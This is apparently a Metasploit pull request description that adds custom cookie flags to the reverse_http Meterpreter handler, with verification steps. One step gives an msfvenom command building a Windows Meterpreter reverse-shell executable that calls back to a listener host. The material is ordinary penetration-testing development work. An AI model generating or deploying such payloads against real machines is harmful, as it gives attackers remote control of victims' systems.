Add flags to send custom cookies

[dwelch-r7]

Resolves #12826

Adds flags to allow for custom cookies to be sent to the handler

Verification

List the steps needed to make sure this thing works

• Start msfconsole
• Set up a handler for windows/meterpreter/reverse_http
• Generate a payload ./msfvenom -p windows/meterpreter/reverse_http LHOST=172.16.111.1 LPORT=80 HttpCookie="cool_id=123456" -f exe > file.exe
• Set up wireshark to capture the traffice between the target and host machines
• Run the payload
• The target machine should make an HTTP request to the host with the cookie cool_id=123456

This has been fixed in the 32 and 64bit payloads, the winhttp payloads don't seem to be affected but the 64bit winhttp payload doesn't appear to set the referrer for some reason where the 32bit one does, haven't figured that one out yet though.
